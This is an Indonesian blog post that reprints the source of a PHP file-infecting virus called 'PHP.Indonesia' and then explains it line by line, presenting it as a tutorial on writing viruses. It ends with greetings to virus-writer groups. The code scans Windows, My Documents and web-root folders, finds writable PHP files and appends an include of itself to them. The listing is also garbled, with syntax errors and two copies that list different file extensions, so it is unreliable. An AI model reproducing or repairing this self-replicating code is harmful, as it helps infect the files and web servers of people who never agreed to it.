eksperimen membuat virus berbasis php

membuat virus itu bisa dengan bahasa apa saja. salah satunya adalah dengan bahasa pemrograman php. saya sendiri masih awam dengan bahasa ini, akan tetapi apa salahnya sih kita mencoba latihan??????// oke langsung saja.

virus ini juga dikenal dengan nama I-Worm.PHP.indonesia buata sevenC.
-------------------------------Code-------------------------------
                 
                  // #################################################
                  // # PHP.Indonesia made for all Chicken looser ground the
                  world  #
                  // # By sevenC / N0:7                                         
                                           #
                  // # http://sevenc.vze.com                                    
                                           #
                  // # sevenC_zone@yahoo.com                                    
                                   #
                  // ##################################################
                  $jawa = "indonesia.php\n";
                  $sumatra = "Wellcome to Indonesian PHPlovers.\n";
                  $kalimantan = $jawa . $sumatra;
                  echo $kalimantan;
                  $all = opendir('C:\Windows\');
                  $all1 = opendir('C:\My Documents\');
                  $all2 = opendir('C:\InetPub\wwwRoot\');
                  $all3 = $all && $all1 && $all2
                  while ($file = readdir($all3))
                  {
                   $inf = true;
                   $exe = false;
                   if ( ($exe = strstr ($file, '.php')) || ($exe = strstr
                  ($file, '.php2')) || ($exe = strstr ($file, '.php3')) )
                          if ( is_file($file) && is_writeable($file) )
                   {
                    $new = fopen($file, "r");
                    $look = fread($new, filesize($file));
                    $yes = strstr ($look, 'indonesia.php');
                    if (!$yes) $inf = false;
                   }
                   if ( ($inf=false) )
                   {
                    $new = fopen($file, "a");
                    $fputs($new, "");
                    $fputs($new, "
                    $fputs($new, "include(\"");
                    $fputs($new, __FILE__);
                    $fputs($new, "\"); ");
                    $fputs($new, "?>");
                    return;
                   }

 
                  }
                  closedir($all3);
                  // PHP.Indonesia made for all Chicken looser ground the world
                  // By sevenC / N0:7
                  ?>
                  --------------------------------------eoc-----------------------
                   
                  Udah.. liat..? Mau belajar ? yeah... aku akan coba jelasin
                  baris per baris
                  code virus PHP.Indonesia,tapi kalu aku salah mohon dikoreksi
                  yah...!! :) maklum
                  aku belum setaraf sama sevenC,hehehe... :P
                  -------------------------------------begin----------------------
                 
                  * kamu pasti tau kalo PHP musti dimulai make tanda ini -->
                  buat ngunjukin
                    browser kalo entu skrip PHP.
                  // ###############################################
                  // # PHP.Indonesia made for all Chicken looser ground the
                  world #
                  // # By sevenC / N0:7                                         
                                   #
                  // # http://sevenc.vze.com                                     
                                   #
                  // # sevenC_zone@yahoo.com                                    
                           #
                  // ###############################################
                  * Pertama kamu musti tau kalo komentar dalam PHP harus dimulai
                  dengan karakter -->> //
                    Jadi baris2 di atas engga akan di eksekusi karna cuman
                  komentar. 
                  $jawa = "indonesia.php\n";
                  * Pemberian nama variabel harus dimulai dengan karakter $
                  * Menset variabel jawa sama dengan string "indonesia.php" dan
                  \n ntu ganti baris
                  * Setiap satu baris kalimat musti diakhiri dengan karakter
                  titik koma à ;
                  $sumatra = "Wellcome to Indonesian PHPlovers.\n";
                  * Menset variabel sumatra sama dengan string "Wellcome to
                  Indonesian PHPlovers"
                  $kalimantan = $jawa . $sumatra;
                  * var kalimantan = var gabungan jawa dan var sumatra
                  echo $kalimantan;
                  * Menulis variabel kalimantan kedalam texttream
                  $all = opendir('C:\Windows\');
                  * var $all = membuka direktory windows
                  
                  $all1 = opendir('C:\My Documents\');
                  * var $all1 = membuka direktory My Documents
                  $all2 = opendir('C:\InetPub\wwwRoot\');
                  * var $all2 = membuka directori wwwRoot
                  * karna saya rasa maksud sevenC membuka folder ini adalah
                  karna di PWS file-file PHP
                  * biasanya diletakan di direktori ini
                  $all3 = $all && $all1 && $all2
                  * $all3 = gabungan dari $all , $all1 dan $all3
                  while ($file = readdir($all3))
                  * Perulangan kita mulai ketika kita membaca isi direktori
                  {
                  * Inget dengan tanda ini..!!
                   $inf = true;
                  * menSet var $inf sebagai variabel boolean = true
                   $exe = false;
                  * menSet var $exe sebagai variabel boolean = false
                   if ( ($exe = strstr ($file, '.php')) || ($exe = strstr
                  ($file, '.phtml')) || ($exe = strstr ($file, '.php3')) )
                  * Lihatlah extensi2 file yang akan kita serang
(php,phtml,php3)
                          if ( is_file($file) && is_writeable($file) )
                  * Mencek atribut2 file,jika kita diijinkan menulis lalu
                   {
                  * Skali lagi jangan lupa tanda ini
                    $new = fopen($file, "r");
                  * menSet $new = membuka file baru dengan atribut read only
                  yang hanya bisa dibaca saja
                    $look = fread($new, filesize($file));
                  * menSet $look = membaca var $new dan ukuran dari file
                    $yes = strstr ($look, 'indonesia.php');
                  * menSet $yes = $look , indonesia.php
                  
                    if (!$yes) $inf = false;
                  * Jika bukan var $yes maka var $inf bernilai salah
                   }
                   if ( ($inf=false) )
                  * jika var $inf = salah kemudian
                   {
                    $new = fopen($file, "a");
                  * menSet $new = membuka file ( variabel $file ) / file yang
                  diinfeksi
                    $fputs($new, "");
                  * tulis string "--->" kedalam file tsb ($new)
                    $fputs($new, "
                  * Tulis seluruh kode virus ini kedalam file tsb
                    $fputs($new, "include(\"");
                  * tulis string "include(\" kedalam file tsb ($new)
                    $fputs($new, __FILE__);
                  * Tulis juga seluruh kode / skrip asli dari file tsb
                    $fputs($new, "\"); ");
                  * Tulis "\" kedalam file tsb
                    $fputs($new, "?>");
                  * Tulis "?>" kedalam file tsb
                    return;
                  * Ulangi langkah-langkah diatas
                   }
                  }
                  closedir($all3);
                  * menutup semua direktori yang aktif tadi ($all3)
                  // PHP.Indonesia made for all Chicken looser ground the world
                  // By sevenC / N0:7
                  * komentar om sevenC
                  ?>
                  * Nutup skrip virus PHP ini
                  
                  

                  
                  --------------------------------Selesai---------------------------
                  Ok... mudah-mudahan kamu semua ngerti apa yang aku tulis
                  diatas,kalo kagak ? bodo amat :P
                  Kredit buat :
                  
                  1. sevenC (http://trax.to/sevenC)
                     Biarpun umurnya masih belasan tapi gw salut banget sama
                  otaknya karna
                     aku udah banyak belajar dari artikelnya.greatz & Thankz
                  man..!!
                     kapan neh bisa ktemuan ??
                  2. SECTORS (http://sectors.vze.com)
                     Makasih buat semua anak2 sectors baik yang masih aktif
                  maupun tidak di forum
                     teruskan perjuangan kalian, jangan mau bangsa kita ditindas
                  kebodohan.
                     Bantai semua lamer yang ada di Forum.
                  3. IVWA / Indonesian Virus Writer Association
                  (http://www.geocities.com/ivwa_staff)
                     Kapan neh peluncuran zine pertama ? gw udah gak sabar
                  neh...!!
                  4. semua anak2 yang pernah gw temuin di #sectors (woi channel
                  jangan ditinggal molo..!!)
                  saran dan kritik kirim ke stupy_man@yahoo.com
                  stupy (ex member of sectors)
                  

0 Responses